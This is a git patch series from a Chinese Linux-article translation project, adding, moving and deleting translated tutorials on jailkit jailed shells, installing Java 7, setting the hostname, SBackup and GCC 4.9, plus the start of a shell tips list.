http://www.google.com/ - --2012-06-23 12:56:43-- http://www.google.com/ - Resolving www.google.com (www.google.com)... failed: Name or service not known. - wget: unable to resolve host address `www.google.com' - -Fix it by running the following 2 commands : - - $ sudo jk_cp -v -j /opt/jail /lib/x86_64-linux-gnu/libnss_files.so.2 - $ sudo jk_cp -v -j /opt/jail /lib/x86_64-linux-gnu/libnss_dns.so.2 - -The exact location of the libnss_files.so and libnss_dns.so can vary so check. - -### Running programs or services in the jail ### - -Now the setup is complete. Jails are useful to run programs or services in a restricted/secure environments. To launch a program or daemon inside the jail use the **jk_chrootlaunch** command. - - $ sudo jk_chrootlaunch -j /opt/jail -u robber -x /some/command/in/jail - -The jk_chrootlaunch utility can be used to launch a particular process inside the jail environment with privileges of the specified user. If the daemon fails to start, check /var/log/syslog for error messages. - -To run the program inside the jail, the program must first be fully copied inside the jail using the jk_cp command. - - jk_cp - a utility to copy files including permissions and libraries into a jail - -For further reading about various jailkit commands, check the documentation at [http://olivier.sessink.nl/jailkit/][1] - --------------------------------------------------------------------------------- - -via: http://www.binarytides.com/setup-jailed-shell-jailkit-ubuntu/ - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://olivier.sessink.nl/jailkit/ -[2]: -[3]: -[4]: -[5]: -[6]: -[7]: -[8]: -[9]: -[10]: -[11]: -[12]: diff --git a/translated/Setup a jailed shell with jailkit on ubuntu.md b/translated/Setup a jailed shell with jailkit on ubuntu.md new file mode 100644 index 0000000000..081f080fc1 --- /dev/null +++ b/translated/Setup a jailed shell with jailkit on ubuntu.md @@ -0,0 +1,266 @@ +在Ubuntu下用jailkit建立一个被监禁的Shell + +================================================================================ + +### Jailkit和jailed Shell ### + +监狱性的shell是一类限制性的shell，提供给用户非常真实的Shell模样，但是不允许它查看和修改真正的文件系统。Shell内的文件系统不同于底层的文件系统。这种功能是通过chroot和其他多种程序实现的。举例来说，建立一个用户的linux shell可能仅仅为了玩耍。或者在一个限定的环境里运行一些程序的所有功能等。 + +在这个教程里我们将会探讨在Ubuntu下用jailkit建立一个监禁的shell。Jailkit是辅助程序，允许快速的建立一个监禁的shell，监禁的用户，在受监禁的环境里配置程序并运行。 + +Jailkit can be downloaded from [http://olivier.sessink.nl/jailkit/][1] + +我们已经谈论过关于在Ubuntu下安装jailkit，如果有不懂，多看看那篇文章。 + +### 配置jailed Shell ### + +#### 配置jail环境 #### + +我们需要建立一个目录来存放所有jail环境的配置。这不是重点，我们可以创建个/opt/jail的目录。 + + $ sudo mkdir /opt/jail + +这个目录应为Root所有。所以用chown。 + + $ sudo chown root:root /opt/jail + +#### 2. 设置在jail中可用的程序　#### + +任何程序想要在jail中执行则必须用jk_init命令拷贝到目录中。 + +例如： + + $ sudo jk_init -v /jail basicshell + + $ sudo jk_init -v /jail editors + + $ sudo jk_init -v /jail extendedshell + + $ sudo jk_init -v /jail netutils + + $ sudo jk_init -v /jail ssh + + $ sudo jk_init -v /jail sftp + + $ sudo jk_init -v /jail jk_lsh + +或一次性解决： + + $ sudo jk_init -v /opt/jail netutils basicshell jk_lsh openvpn ssh sftp + +像basicshell, editors, netutils是一些组名，其中包含多个程序。复制到jail shell中的每个组都是可执行文件,库文件等的集合。比如**basicshell**就在jail提供有bash, ls, cat, chmod, mkdir, cp, cpio, date, dd, echo, egrep等程序。 + +完整的程序列表设置，你可以在/etc/jailkit/jk_init.ini中查看。 + + jk_lsh (Jailkit limited shell) - is an important section, and must be added. + +#### 3. 创建将被监禁的用户 #### + +需要将用户放入jail里。可以先创建一个 + + $ sudo adduser robber + + Adding user `robber' ... + + Adding new group `robber' (1005) ... + + Adding new user `robber' (1006) with group `robber' ... + + Creating home directory `/home/robber' ... + + Copying files from `/etc/skel' ... + + Enter new UNIX password: + + Retype new UNIX password: + + passwd: password updated successfully + + Changing the user information for robber + + Enter the new value, or press ENTER for the default + + Full Name []: + + Room Number []: + + Work Phone []: + + Home Phone []: + + Other []: + + Is the information correct? [Y/n] y + +注意:目前创建的是一个活动在文件系统中的普通用户并没有添加到jail中。 + +在下一步这个用户会被监禁在jail里。 + +这时候如果你查看/etc/passwd文件，你会在文件最后看到跟下面差不多的一个条目。 + + robber:x:1006:1005:,,,:/home/robber:/bin/bash + +这是我们新创建的用户，最后部分的/bin/bash指示了这个用户如果登入了那么它可以在系统上正常的Shell访问 + +#### 4. 监禁用户 #### + +现在是时候将用户监禁在jail中 + + $ sudo jk_jailuser -m -j /opt/jail/ robber + +执行上列命令后，用户robber将会被监禁。 + +如果你现在再观察/etc/passwd文件，会发现类似下面的最后条目。 + + robber:x:1006:1005:,,,:/opt/jail/./home/robber:/usr/sbin/jk_chrootsh + +注意:最后两部分表明用户主目录和shell类型已经被改变了。现在用户的主目录在/opt/jail(jail环境)中。用户的Shell是一个名叫jk_chrootsh的特殊程序，会提供jailed Shell。 + +jk_chrootsh这是个特殊的shell，每当用户登入系统时，它都会将用户放入jail中。 + +到目前为止jail配置已经几乎完成了。但是如果你试图用ssh连接，那么注定会失败,像这样： + + $ ssh robber@localhost + + robber@localhost's password: + + Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-25-generic x86_64) + + * Documentation: https://help.ubuntu.com/ + + 13 packages can be updated. + + 0 updates are security updates. + + *** /dev/sda7 will be checked for errors at next reboot *** + + *** /dev/sda8 will be checked for errors at next reboot *** + + Last login: Sat Jun 23 12:45:13 2012 from localhost + + Connection to localhost closed. + + $ + +连接会立马关闭，这意味着用户已经活动在一个受限制的shell中。 + +#### 5. 给在jail中的用户Bash Shell #### + +下个重要的事情是给用户一个正确的bash shell，但是他却在jail中。 + +打开下面的文件 + + /opt/jail/etc/passwd + +这是个jail中的password文件。类似如下 + + root:x:0:0:root:/root:/bin/bash + + robber:x:1006:1005:,,,:/home/robber:/usr/sbin/jk_lsh + +将/usr/sbin/jk_lsh改为/bin/bash + + root:x:0:0:root:/root:/bin/bash + + robber:x:1006:1005:,,,:/home/robber:/bin/bash + +保存文件并退出。 + +#### 6. 登入jail #### + +现在让我们再次登入jail + + $ ssh robber@localhost + + robber@localhost's password: + + Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-25-generic x86_64) + + * Documentation: https://help.ubuntu.com/ + + 13 packages can be updated. + + 0 updates are security updates. + + *** /dev/sda7 will be checked for errors at next reboot *** + + *** /dev/sda8 will be checked for errors at next reboot *** + + Last login: Sat Jun 23 12:46:01 2012 from localhost + + bash: groups: command not found + + I have no name!@desktop:~$ + +jail说'I have no name!'，哈哈。现在我们在jail中有个完整功能的bash shell。 + +现在通过操作检查环境。jail中的root /实际就是真实文件系统中的/opt/jail.但这只有我们自己知道，jail用户并不知情。 + + I have no name!@desktop:~$ cd / + + I have no name!@desktop:/$ ls + + bin dev etc home lib lib64 run usr var + + I have no name!@desktop:/$ + +也只有我们通过jk_cp拷贝到jail中的命令能使用。 + +如果登入失败，请检查一下/var/log/auth.log的错误信息。 + +现在尝试运行一些网络命令，类似wget的命令。 + + $ wget http://www.google.com/ + +如果你获得类似的错误提示： + + $ wget http://www.google.com/ + + --2012-06-23 12:56:43-- http://www.google.com/ + + Resolving www.google.com (www.google.com)... failed: Name or service not known. + + wget: unable to resolve host address `www.google.com' + +你可以通过运行下列两条命令来解决这个问题: + + $ sudo jk_cp -v -j /opt/jail /lib/x86_64-linux-gnu/libnss_files.so.2 + + $ sudo jk_cp -v -j /opt/jail /lib/x86_64-linux-gnu/libnss_dns.so.2 + +这样才能正确的定位到libnss_files.so和libnss_dns.so + +### 在jail中运行程序或服务　 ### + +此时此刻配置已经完成了。Jails可以在限制/安全的环境里运行程序或服务。用**jk_chrootlaunch**命令在jail中启动一个程序或守护进程。 + + $ sudo jk_chrootlaunch -j /opt/jail -u robber -x /some/command/in/jail + +jk_chrootlaunch工具可以在jail环境中启动一个特殊的进程同时指定用户特权。如果守护进程启动失败，请检查/var/log/syslog/错误信息。 + +在jail中运行程序之前，该程序必须已经用jk_cp命令复制到jail中。 + + jk_cp -　将文件包括权限信息和库文件复制到jail的工具　 + +进一步阅读有关其他jailkit命令信息，可以阅读文档，[http://olivier.sessink.nl/jailkit/][1] + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/setup-jailed-shell-jailkit-ubuntu/ + +译者：[Luoxcat](https://github.com/Luoxcat) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://olivier.sessink.nl/jailkit/ +[2]: +[3]: +[4]: +[5]: +[6]: +[7]: +[8]: +[9]: +[10]: +[11]: +[12]: From 9813c8b52837856c5824b537752a50abac61ae32 Mon Sep 17 00:00:00 2001 From: wxy Date: Thu, 5 Dec 2013 22:54:29 +0800 Subject: [PATCH 135/148] =?UTF-8?q?=E5=88=A0=E9=99=A4=E6=B2=A1=E6=9C=89?= =?UTF-8?q?=E5=88=A0=E9=99=A4=E7=9A=84=E5=A4=87=E4=BB=BD=E6=96=87=E4=BB=B6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...Java 7 in Elementary OS ‘Luna’ Via PPA.md~ | 88 ------------------- 1 file changed, 88 deletions(-) delete mode 100644 sources/Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA.md~ diff --git a/sources/Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA.md~ b/sources/Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA.md~ deleted file mode 100644 index 2591e3eb3a..0000000000 --- a/sources/Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA.md~ +++ /dev/null @@ -1,88 +0,0 @@ -使用PPA在Elementary OS 'Luna'上安装Oracle Java 7 -================================================================================ -**问题**: 我该如何在 Elemetary OS Luna 上安装Oracle Java 7？ - -**回答**: 在 Elementary OS Luna 安装 Java 7 的步骤如下: -由于Elementary OS是基于Ubuntu，所以我们允许使用具有多种Java包的**WEPUD8 PPA**。 - -1. 打开终端。 - -2. 运行以下指令添加Java的PPA到你的软件仓: - - $ sudo add-apt-repository ppa:webupd8team/java - - You are about to add the following PPA to your system: - Oracle Java (JDK) Installer (automatically downloads and installs Oracle JDK6 / JDK7 / JDK8). There are no actual Java files in this PPA. More info: http://www.webupd8.org/2012/01/install-oracle-java-jdk-7-in-ubuntu-via.html - Debian installation instructions: http://www.webupd8.org/2012/06/how-to-install-oracle-java-7-in-debian.html - More info: https://launchpad.net/~webupd8team/+archive/java - Press [ENTER] to continue or ctrl-c to cancel adding it - -3. 按回车继续 - - gpg: keyring `/tmp/tmpB5WwDG/secring.gpg' created - gpg: keyring `/tmp/tmpB5WwDG/pubring.gpg' created - gpg: requesting key EEA14886 from hkp server keyserver.ubuntu.com - gpg: /tmp/tmpB5WwDG/trustdb.gpg: trustdb created - gpg: key EEA14886: public key "Launchpad VLC" imported - gpg: Total number processed: 1 - gpg: imported: 1 (RSA: 1) - OK - -4. 现在更新你的系统 - - $ sudo apt-get update - -5. 运行以下命令安装Java 7: - - $ sudo apt-get install oracle-java7-installer - - [sudo] password for enock: - Reading package lists... Done - Building dependency tree - Reading state information... Done - The following packages were automatically installed and are no longer required: - gir1.2-gstreamer-0.10 libilmbase6 libmagickcore4 libmagickwand4 libcdt4 - libmagickcore4-extra liblqr-1-0 imagemagick-common libpathplan4 libopenexr6 - rsync netpbm libgvc5 libnetpbm10 libgraph4 - Use 'apt-get autoremove' to remove them. - The following extra packages will be installed: - gsfonts-x11 java-common - Suggested packages: - default-jre equivs binfmt-support visualvm ttf-baekmuk ttf-unfonts - ttf-unfonts-core ttf-kochi-gothic ttf-sazanami-gothic ttf-kochi-mincho - ttf-sazanami-mincho ttf-arphic-uming - The following NEW packages will be installed: - gsfonts-x11 java-common oracle-java7-installer - 0 upgraded, 3 newly installed, 0 to remove and 196 not upgraded. - Need to get 88.5 kB of archives. - After this operation, 473 kB of additional disk space will be used. - Do you want to continue [Y/n]? - -6. 输入代表Yes的**Y**以及回车键继续安装。 - -7. 在安装过程中，你需要同意条款才能继续。选择**OK**。 - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/JDK-ask1.png) - -8. 然后选择**Yes**继续。 - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/JDK-ask2.png) - -9. 现在请等待安装包的下载与自动安装: - -![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/JDK-Downloading.png) - -10. 安装完成。你可以在终端上查看Java版本: - - $ java -version - java version "1.7.0_45" - Java(TM) SE Runtime Environment (build 1.7.0_45-b18) - Java HotSpot(TM) 64-Bit Server VM (build 24.45-b08, mixed mode) - --------------------------------------------------------------------------------- - -via: http://www.unixmen.com/install-oracle-java-7-elementary-os-luna-via-ppa/ - -译者：[whatever1992](https://github.com/whatever1992) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From 07873e34353a4f0ac773d135e36523d2a45a5159 Mon Sep 17 00:00:00 2001 From: wxy Date: Thu, 5 Dec 2013 23:02:11 +0800 Subject: [PATCH 136/148] =?UTF-8?q?=E5=8F=91=E5=B8=83=EF=BC=9AHow=20To=20D?= =?UTF-8?q?isplay=20And=20Set=20Hostname=20in=20Linux?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...How To Display And Set Hostname in Linux.md | 18 ++++++++---------- 1 file changed, 8 insertions(+), 10 deletions(-) rename {translated => published}/How To Display And Set Hostname in Linux.md (79%) diff --git a/translated/How To Display And Set Hostname in Linux.md b/published/How To Display And Set Hostname in Linux.md similarity index 79% rename from translated/How To Display And Set Hostname in Linux.md rename to published/How To Display And Set Hostname in Linux.md index 82890fed54..92ef444893 100644 --- a/translated/How To Display And Set Hostname in Linux.md +++ b/published/How To Display And Set Hostname in Linux.md @@ -31,12 +31,11 @@ Hostname是在你第一次安装Linux的时候设置。其中有一个步骤Linu $ hostname dev-machine -你**需要使用root权限**，或者同样的权限来设置/修改你计算机的主机名。#标识证明你是root用户。上述命令把你的计算机主机名设置成为**dev-machine**。如果你没有收到任何报错信息，那么你的hostname已经改变了。再一次使用hostname命令检查，看看结果。 +你**需要使用root权限**，或者等同root的权限来设置/修改你计算机的主机名。“#”标识证明你是root用户。上述命令把你的计算机主机名设置成为**dev-machine**。如果你没有收到任何报错信息，那么你的hostname已经改变了。再一次使用hostname命令检查，看看结果。 使用hostname命令设置你的hostname **不是永久的** 。当你重启你的计算机，你的设定将会失效。 **为了永久改变** ，你必须手动修改hostname配置文件。 -**On Debian / Ubuntu based Linux** -**基于Linux 的 Debian / Ubuntu** +**Debian / Ubuntu系的Linux** 你可以在 **/etc/hostname** 和 **/etc/hosts** 文件夹中找到这个文件 @@ -55,8 +54,7 @@ Hostname是在你第一次安装Linux的时候设置。其中有一个步骤Linu 你将会发现不用重启你的linux它就即刻生效。 -**On RedHat / CentOS based Linux** -**基于Linux的 RedHat / CentOS** +**RedHat / CentOS系的Linux** 你可以在 **/etc/hosts** 和 **/etc/sysconfig/networks** 文件夹中找到这个文件。 @@ -67,7 +65,7 @@ Hostname是在你第一次安装Linux的时候设置。其中有一个步骤Linu 127.0.0.1 localhost.localdomain localhost dev-machine ::localhost 127.0.0.1 -/etc/sysconfig/network +**/etc/sysconfig/network** NETWORKING=yes NETWORKING_IPV6=no @@ -82,7 +80,7 @@ Hostname是在你第一次安装Linux的时候设置。其中有一个步骤Linu 在本篇文章，dnsdomainname命令的结果是 **bris.co.id**。 -如果你看见结果是 (**none**),那么你的机器**没有配置FQDN（Fully Qualified Domain Name 完全符合标准的域名）** 。Dnsdomainname命令摘取来自**/etc/hosts**文件的信息。你应该配置它为完全符合标准的域名格式。接下来一个简单的例子： +如果你看见结果是 (**none**)，那么你的机器**没有配置FQDN（Fully Qualified Domain Name 完全符合标准的域名）** 。dnsdomainname命令摘取来自**/etc/hosts**文件的信息。你应该配置它为FQDN格式。下面是一个简单的例子： **/etc/hosts** @@ -99,9 +97,9 @@ Hostname是在你第一次安装Linux的时候设置。其中有一个步骤Linu Result: h_aliases=’dev-machine’ Result: h_addr_list=’192.168.0.104’ -### 如何显示hostname更多细节信息### +### 如何显示hostname的更多细节信息### -Hostname命令可以使用多个参数和一些别名如：dnsdomainname命令。这些参数在每日操作中是有用的。下面这些命令的结果是基于**/etc/hosts**的上述配置。 +Hostname命令可以使用多个参数和一些别名，比如dnsdomainname命令就是它的一个别名。这些参数在每日操作中是有用的。下面这些命令的结果是基于**/etc/hosts**的上述配置。 **显示IP地址** @@ -126,7 +124,7 @@ Hostname命令可以使用多个参数和一些别名如：dnsdomainname命令 **显示细节信息** -所有的参数包括上述信息，都可以通过使用参数**-v 和 -d** 来概括。让我们来看一个例子。 +所有的参数包括上述信息，都可以通过使用参数**-v** 和 **-d** 来概括。让我们来看一个例子。 $ hostname -v -d gethostname()=’dev-machine.bris.co.id’ From 02073f4f9af6fe2dbcb1724362b9b05dd6f16a1d Mon Sep 17 00:00:00 2001 From: wxy Date: Thu, 5 Dec 2013 23:12:38 +0800 Subject: [PATCH 137/148] =?UTF-8?q?=E5=8F=91=E5=B8=83=EF=BC=9ASBackup--A?= =?UTF-8?q?=20Simple=20Backup=20Solution=20For=20Your=20Linux=20Desktop?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...imple Backup Solution For Your Linux Desktop.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) rename {translated => published}/SBackup--A Simple Backup Solution For Your Linux Desktop.md (97%) diff --git a/translated/SBackup--A Simple Backup Solution For Your Linux Desktop.md b/published/SBackup--A Simple Backup Solution For Your Linux Desktop.md similarity index 97% rename from translated/SBackup--A Simple Backup Solution For Your Linux Desktop.md rename to published/SBackup--A Simple Backup Solution For Your Linux Desktop.md index ca3f1ecec3..debf28a6ff 100644 --- a/translated/SBackup--A Simple Backup Solution For Your Linux Desktop.md +++ b/published/SBackup--A Simple Backup Solution For Your Linux Desktop.md @@ -62,19 +62,19 @@ SBackup 可在 Ubuntu、Linux Mint 和 Debian 的默认仓库中获得，所以 ![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_001.jpg) -### General ### +#### General选项卡 #### 在 General 选项内，你可以选择多久进行一次完整备份，默认是7天。每7天 SBackup 将会进行一次完整的备份。你也可以选择备份的压缩格式。 ![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0021.jpg) -### Include ### +#### Include选项卡 #### 这个选项不需要解释太多，你可以添加 SBackup 要备份的文件或目录。这里可以选择备份单独的文件或者完整的目录，我删除了所有的目录仅仅保留了“Resume” ![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0031.jpg) -### Exclude ### +#### Exclude选项卡 #### 如同 Include 选项，我们可以选择备份时排除的文档和目录，只需要选择要排除的文档和目录的路径即可。在默认配置下，/media, /var/run/, /var/cache/, /var/spool/ 和 /vat/tmp/ 目录均被排除 @@ -92,7 +92,7 @@ SBackup 可在 Ubuntu、Linux Mint 和 Debian 的默认仓库中获得，所以 ![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0071.jpg) -### Destination ### +#### Destination选项卡 #### 在这里你可以选择备份存放的路径，正如我之前提到的，你可以把备份的文档或文件夹存放在硬盘或者远程的 FTP 或 NAS。这里我将把备份保存在 /home/sk/My Backup 目录下。 @@ -100,7 +100,7 @@ SBackup 可在 Ubuntu、Linux Mint 和 Debian 的默认仓库中获得，所以 **提示:** 在备份前确认目录有足够的空间保存备份文件 -### Schedule ### +#### Schedule选项卡 #### 在这个选项中，你可以设定具体的备份时间。点击 **Simple** 选项，可以按每小时、每日、每周、每月来设置你的计划备份时间。 @@ -114,13 +114,13 @@ SBackup 可在 Ubuntu、Linux Mint 和 Debian 的默认仓库中获得，所以 lrwxrwxrwx 1 root root 33 Nov 8 15:34 /etc/cron.daily/sbackup -> /usr/share/sbackup/sbackup-launch -### Purging ### +#### Purging选项卡 #### 在这个选项里，可以删除超过一定时间的备份文件。在默认配置下，超过30天的备份文件将被删除。 ![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0111.jpg) -### Report ### +#### Report选项卡 #### Report 是最后一个选项卡，在这里你可以设置接收备份完成通知的邮箱。输入你的邮箱ID、SMTP服务地址、邮箱用户名、密码后，点击 Test mail settings。需要留意的是，在测试邮箱设置前，点击工具栏中的Save Configuration按钮保存你的配置。 From f371f34e038b0c1b659af00738a11bd4c22c3735 Mon Sep 17 00:00:00 2001 From: wxy Date: Thu, 5 Dec 2013 23:17:39 +0800 Subject: [PATCH 138/148] =?UTF-8?q?=E5=8F=91=E5=B8=83=EF=BC=9APlay=20A=20C?= =?UTF-8?q?rossword=20Game=20With=20Adobe=E2=80=99s=20Leaked=20Passwords?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Play A Crossword Game With Adobe’s Leaked Passwords.md | 1 + 1 file changed, 1 insertion(+) rename {translated => published}/Play A Crossword Game With Adobe’s Leaked Passwords.md (99%) diff --git a/translated/Play A Crossword Game With Adobe’s Leaked Passwords.md b/published/Play A Crossword Game With Adobe’s Leaked Passwords.md similarity index 99% rename from translated/Play A Crossword Game With Adobe’s Leaked Passwords.md rename to published/Play A Crossword Game With Adobe’s Leaked Passwords.md index 875b9c99e6..aafc62437b 100644 --- a/translated/Play A Crossword Game With Adobe’s Leaked Passwords.md +++ b/published/Play A Crossword Game With Adobe’s Leaked Passwords.md @@ -11,6 +11,7 @@ 不久前，Adobe公司成了网络攻击者的目标。Adobe公司的安全团队发现了一起针对Adobe公司内部网络的复杂攻击，攻击获取了Adobe公司的客户信息并盗取了数个Adobe公司产品的源代码。根据Adobe公司官方博客上的安全告示，攻击者盗取了Adobe用户的账户ID以及登录密码。但是Adobe公司的安全团队并不认为与账户关联的信用卡信息或者资金账户信息会一并被盗取。 你可以点击[这儿][3]阅读更多相关的安全公告。 + -------------------------------------------------------------------------------- via: http://www.unixmen.com/play-crossword-game-adobes-leaked-passwords/ From 655b6125ffd578b38a8e4ac0489aed2febcd63c5 Mon Sep 17 00:00:00 2001 From: Vic___ Date: Fri, 6 Dec 2013 00:59:46 +0800 Subject: [PATCH 139/148] delete --- ...9 Is Now In Bug-Fixes-Only Stage 3 Mode.md | 23 ------------------- 1 file changed, 23 deletions(-) delete mode 100644 sources/GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode.md diff --git a/sources/GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode.md b/sources/GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode.md deleted file mode 100644 index bed48ed050..0000000000 --- a/sources/GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode.md +++ /dev/null @@ -1,23 +0,0 @@ - Vic020走起 -GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode -================================================================================ -[GCC 4.9][1] with [its many new features][2] is aiming for a release in the first half of 2014. As of this morning the GCC code-base will not accept new features as it's under a big-fixing-only flag. - -Richard Biener announced this morning that trunk is now in stage three, so that after eight months of allowing features into GCC for the 4.9 release, nothing new will be permitted unless an exception is granted by the release managers. Stage 3 allows for general bug-fixing work to be completed while in about two months it will go into the Stage 4 mode of only allowing documentation and regression fixes. - -At the moment there are 63 P1 regressions (the most severe regression) for GCC 4.9 followed by 136 P2 regressions, 14 P3 regressions, 88 P4 regressions, and 60 P5 regressions. Not until the 63 regressions of the P1 state have been zeroed out will GCC 4.9 move closer to being released. The GCC 4.9.0 release will likely come some time around Q2'2014. - -This morning's GCC 4.9.0 status report can be found on the [GCC mailing list][3]. GCC 4.9 will be a very nice compiler update and competition to next month's release of [LLVM 3.4][4]. - --------------------------------------------------------------------------------- - -via: http://www.phoronix.com/scan.php?page=news_item&px=MTUyMjk - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://www.phoronix.com/scan.php?page=search&q=GCC+4.9 -[2]:http://www.phoronix.com/scan.php?page=news_item&px=MTUxNzQ -[3]:http://gcc.gnu.org/ml/gcc/2013-11/msg00435.html -[4]:http://www.phoronix.com/scan.php?page=search&q=LLVM+3.4 \ No newline at end of file From 8a066df97418095e98d1dce5f5e33e0a472b62be Mon Sep 17 00:00:00 2001 From: Vic___ Date: Fri, 6 Dec 2013 01:00:27 +0800 Subject: [PATCH 140/148] tranlated --- ...9 Is Now In Bug-Fixes-Only Stage 3 Mode.md | 28 +++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 translated/GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode.md diff --git a/translated/GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode.md b/translated/GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode.md new file mode 100644 index 0000000000..7dd6ac5d8b --- /dev/null +++ b/translated/GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode.md @@ -0,0 +1,28 @@ +GCC 4.9现在处于修复BUG的第3阶段 +================================================================================ + +[GCC 4.9][1]将拥有很多[新功能][2]将定于2014年上半年发布。早先的GCC代码基础将不会支持新的功能，因为它是一个大修复的标记。 + + +Richard Biener今早宣称分支已经发展到了阶段三，因此在之后的八月将这些功能融入4.9版本，除非发布经理授权的异常发生，不然毫无变化。阶段三只允许一般BUG的修复工作，将在2个月内完成而到达只允许文档和回归的阶段四。 + + + +目前GCC4.9有63 P1 回归（最严重的回归）其次是136 P2回归，14 P3回归，88 P4 回归 以及 60 P5回归。直到63回归的P1阶段被清零，GCC4.9才会被关闭去发布。GCC 4.9.0 发布版将可能在2014第二季度左右到来！ + + +早先的GCC 4.9.0状态报告可以在[GCC mailing list][3]中被找到。GCC 4.9将会是一个美好的编译器更新，并会挑战下个月发布的[LLVM3.4][4]。 + + +-------------------------------------------------------------------------------- + +via: http://www.phoronix.com/scan.php?page=news_item&px=MTUyMjk + +译者：[Vic___](http://blog.csdn.net/Vic___) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.phoronix.com/scan.php?page=search&q=GCC+4.9 +[2]:http://www.phoronix.com/scan.php?page=news_item&px=MTUxNzQ +[3]:http://gcc.gnu.org/ml/gcc/2013-11/msg00435.html +[4]:http://www.phoronix.com/scan.php?page=search&q=LLVM+3.4 \ No newline at end of file From 7ff92c43d550a08bd7b8aa9d15264312f6cd0e2b Mon Sep 17 00:00:00 2001 From: Vic___ Date: Fri, 6 Dec 2013 01:02:10 +0800 Subject: [PATCH 141/148] pick up a new one --- .../CentOS 6.5 desktop installation guide with screenshots.md | 1 + 1 file changed, 1 insertion(+) diff --git a/sources/CentOS 6.5 desktop installation guide with screenshots.md b/sources/CentOS 6.5 desktop installation guide with screenshots.md index 8556161f87..4dde092e14 100644 --- a/sources/CentOS 6.5 desktop installation guide with screenshots.md +++ b/sources/CentOS 6.5 desktop installation guide with screenshots.md @@ -1,3 +1,4 @@ + Vic020的WC CentOS 6.5 desktop installation guide with screenshots ================================================================================ ### CentOS 6.5 released ### From 76c9bd18ac93245a6d9bdd2b6fcef61202a14a79 Mon Sep 17 00:00:00 2001 From: chenjintao_ii Date: Fri, 6 Dec 2013 08:32:38 +0800 Subject: [PATCH 142/148] =?UTF-8?q?[bazz2=20=E7=BF=BB=E8=AF=91=E4=B8=AD]10?= =?UTF-8?q?=20basic=20examples=20of=20linux=20netstat=20command.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- sources/10 basic examples of linux netstat command.md | 1 + 1 file changed, 1 insertion(+) diff --git a/sources/10 basic examples of linux netstat command.md b/sources/10 basic examples of linux netstat command.md index b913545ce1..e882b1f8d1 100644 --- a/sources/10 basic examples of linux netstat command.md +++ b/sources/10 basic examples of linux netstat command.md @@ -1,3 +1,4 @@ +[this is bazz2] 10 basic examples of linux netstat command ================================================================================ ### Netstat ### From fe4b98d8ac4ae2080ede9c052a842c92b47f71ce Mon Sep 17 00:00:00 2001 From: DeadFire Date: Fri, 6 Dec 2013 10:46:45 +0800 Subject: [PATCH 143/148] =?UTF-8?q?20131206-1=20=E9=80=89=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- sources/Linux shell tips and tricks.md | 310 +++++++++++++++++++++++++ 1 file changed, 310 insertions(+) create mode 100644 sources/Linux shell tips and tricks.md diff --git a/sources/Linux shell tips and tricks.md b/sources/Linux shell tips and tricks.md new file mode 100644 index 0000000000..164a60e342 --- /dev/null +++ b/sources/Linux shell tips and tricks.md @@ -0,0 +1,310 @@ +Linux shell tips and tricks +================================================================================ +I’m using Linux shell (Bash) on daily basis, but I often forgot some useful command or shell tip. Yes, I can remember commands, but I can’t say that if I used it just once for specific task. Then I started to write Linux shell tips in text file on my Dropbox account and now I decided to share that. This list will be updated over time. Also keep in mind that for some tips you will need to install additional software on your Linux distribution. + +Check if remote port is open with bash: + + echo >/dev/tcp/8.8.8.8/53 && echo "open" + +Suspend process: + + Ctrl + z + +Move process to foreground: + + fg + +Generate random hex number where n is number of characters: + + openssl rand -hex n + +Execute commands from a file in the current shell: + + source /home/user/file.name + 